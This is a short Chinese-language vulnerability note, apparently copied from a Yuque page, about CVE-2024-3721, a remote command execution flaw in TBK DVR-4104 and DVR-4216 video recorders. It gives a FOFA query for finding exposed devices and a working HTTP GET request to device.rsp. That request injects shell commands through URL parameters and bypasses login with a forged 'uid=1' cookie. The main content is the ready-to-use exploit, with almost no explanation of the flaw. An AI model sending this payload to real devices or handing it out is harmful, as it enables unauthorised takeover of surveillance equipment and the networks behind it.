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27 lines
1.2 KiB
Markdown
27 lines
1.2 KiB
Markdown
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# TBK DVR硬盘录像机device存在远程代码执行漏洞(CVE-2024-3721)
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**一、漏洞简介**
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TBK DVR硬盘录像机是专业的视频监控设备，支持高清录制、远程监控和智能分析等功能，为各种场所提供稳定可靠的安全监控解决方案。该产品device.rsp 接口处存在命令执行漏洞，未经身份验证的远程攻击者可以利用此漏洞绕过cookie认证执行任意系统指令，写入后门文件，获取录像机shell权限。
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**二、影响版本**
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TBK DVR-4104
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TBK DVR-4216
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**三、资产测绘**
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●fofa `"Location: /login.rsp"`
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**四、漏洞复现**
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```yaml
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GET /device.rsp?opt=sys&cmd=___S_O_S_T_R_E_A_MAX___&mdb=sos&mdc=uname%20-a;pwd;ls HTTP/1.1
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Host:
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User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.116 Safari/537.36
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Cookie: uid=1
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```
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> 更新: 2024-05-13 11:48:42
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> 原文: <https://www.yuque.com/xiaokp7/ocvun2/sg4z4l6xsevsochr>
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